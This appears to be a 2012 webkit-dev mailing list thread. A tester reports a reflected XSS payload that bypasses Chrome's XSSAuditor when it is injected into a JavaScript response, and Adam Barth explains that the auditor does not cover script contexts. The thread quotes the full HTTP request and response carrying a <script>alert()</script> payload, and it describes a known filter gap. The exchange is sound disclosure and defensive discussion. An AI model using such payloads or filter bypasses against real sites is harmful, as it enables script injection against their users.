[webkit-dev] XSSAuditor Bypass Question

[Adam Barth]

The XSS auditor isn't able to detect injections into script contexts.
Sometimes it will catch these sorts of injections "by accident", but
often there's a way to bypass the auditor in these scenarios.  The
auditor is much better at catching injections in attribute values and
between tags.

The IE folks have a nice write-up about what sorts of vulnerabilities
are in scope for their filter.  We should probably create a similar
write-up for our filter.  Originally, we wrote
<http://www.adambarth.com/papers/2010/bates-barth-jackson.pdf>, which
explained some of these issues, but we've redesigned the filter since
that paper was written, so not everything in the paper is accurate
anymore.

(By the way, this isn't the best forum to talk about potentially
security-sensitive topics.  Generally the best way to do that is to
file a security bug
<https://bugs.webkit.org/enter_bug.cgi?product=Security>.  That us
track the issue and lets us disclose the issue responsibly.)

Adam


On Sat, Mar 31, 2012 at 5:36 AM, Prasad Shenoy <prasad.shenoy at gmail.com> wrote:
> [ If this is not the right forum for the following question, please let me
> know ]
>
>
> Hello,
>
> I am new to the list and am looking for advice on something I observed
> during a recent engagement. The issue mostly looks like a potential
> XSSAuditor bypass but I am unsure if the behavior is by design or is
> actually a bug.
>
> To start with, here is the scenario:
>
> 1. Chrome sends an HTTP POST request with user provided input, the
> input is a simple XSS string as shown in the request log below:
>
> -- sample request --
>
> POST /filter_params HTTP/1.1
> Host: xx.xx.xx.xx
> Connection: keep-alive
> Content-Length: 589
> Origin: https://xx.xx.xx.xx
> X-Prototype-Version: 1.6.0.3
> X-Requested-With: XMLHttpRequest
> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/
> 535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11
> Content-type: application/x-www-form-urlencoded; charset=UTF-8
> Accept: text/javascript, text/html, application/xml, text/xml, */*
> Referer: https://xx.xx.xx.xx/tools/1
> Accept-Encoding: gzip,deflate,sdch
> Accept-Language: en-US,en;q=0.8
> Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
> Cookie: user_credentials=abcd
>
> filter_params=&filter_params_set_name=%3Cscript%3Ealert(566656)%3C
> %2Fscript%3E&filter_params_ngrams=&commit=Submit&filter%5Bname%5D=
> %3Cscript%3Ealert(566656)%3C%2Fscript%3E&_=
>
> 2. The server responds with HTTP 200 OK. The response is as shown
> below:
>
> -- sample response --
>
> HTTP/1.1 200 OK
> Content-Type: text/javascript; charset=utf-8
> Connection: keep-alive
> Status: 200
> X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 3.0.7
> X-Runtime: 81
> Content-Length: 420
> Cache-Control: private, max-age=0, must-revalidate
> Server: nginx/1.0.0 + Phusion Passenger 3.0.7 (mod_rails/mod_rack)
>
> var opt = document.createElement('option'); opt.text =
> '<script>alert(566656)</script>'; opt.value = '435'; opt.selected =
> true; $('filter_params').options.add(opt)
> $('scenarios_container').insert('<span id="435"><script>alert(566656)</
> script><small class="edits">o</small><small class="closes">x</small></
> span>')
> $('new_filter_params').hide()
> $('filter_params_set_name').value = ''; $
> ('filter_params_ngrams').value = ''
>
> 3. The result is a prompt with 566656. The above code is supposed to
> dynamically populate a drop-down list with options provided by the end
> user.
>
> XSSAuditor is enabled at this point so my am wondering if the
> JavaScript code in the response is not filtered because it is part of
> a script and not a normal HTML response body?
>
> Any insight or reasoning for this behavior is appreciated :)
>
> Thanks
> Prasad
>
> Thank you,
> Prasad N. Shenoy
>
> _______________________________________________
> webkit-dev mailing list
> webkit-dev at lists.webkit.org
> http://lists.webkit.org/mailman/listinfo.cgi/webkit-dev
>